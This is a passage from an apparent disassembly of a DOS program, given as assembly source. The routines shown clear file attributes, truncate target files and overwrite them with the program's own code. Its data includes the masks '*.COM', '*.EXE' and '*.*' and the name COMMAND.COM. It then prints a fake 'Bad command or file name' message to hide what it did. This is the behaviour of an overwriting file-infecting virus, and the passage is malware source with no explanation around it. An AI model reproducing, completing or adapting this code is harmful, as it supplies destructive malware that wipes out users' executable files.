                mov     ax,4300h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                jc      loc_36                  ; Jump if carry Set
                mov     es,cx
                mov     ax,4301h
                xor     cx,cx                   ; Zero register
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                jc      loc_36                  ; Jump if carry Set
                mov     ah,3Ch                  ; '<'
                int     21h                     ; DOS Services  ah=function 3Ch
                                                ;  create/truncate file @ ds:dx
                push    ds
                push    dx
                push    cs
                pop     ds
                mov     dx,offset ds:[100h]     ; (8344:0100=0E8h)
                mov     bx,ax
                mov     ah,40h                  ; '@'
                mov     cx,9
                add     cx,bp
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
                pop     dx
                pop     ds
                mov     cx,es
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
loc_36:
                push    cs
                pop     ds
                mov     ah,9
                mov     dx,offset data_15+25h   ; (8344:0521=0)
                add     dx,bp
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                mov     ah,4Ch                  ; 'L'
                int     21h                     ; DOS Services  ah=function 4Ch
                                                ;  terminate with al=return code
data_9          db      0
loc_37:
                call    sub_29                  ; (04F6)
                dec     bp
                jnz     $+74h                   ; Jump if not zero
                jo      $+6Ah                   ; Jump if overflow=1
                jns     loc_37                  ; Jump if not sign
sub_27          endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_29          proc    near
                popf                            ; Pop flags
                add     [bx+si],al
                add     bl,[si+0]
data_15         db      '*.*', 0
                db      '\^^^^^^^^', 0
                db      'COMMAND.COM', 0
                db      '*.COM', 0
                db      '*.EXE', 0
                db      'Bad command or file name', 0Dh, 0Ah
                db      '$'
                db      6
data_21         db      0
sub_29          endp
  
  
seg_a           ends
  
  
  
                end     start
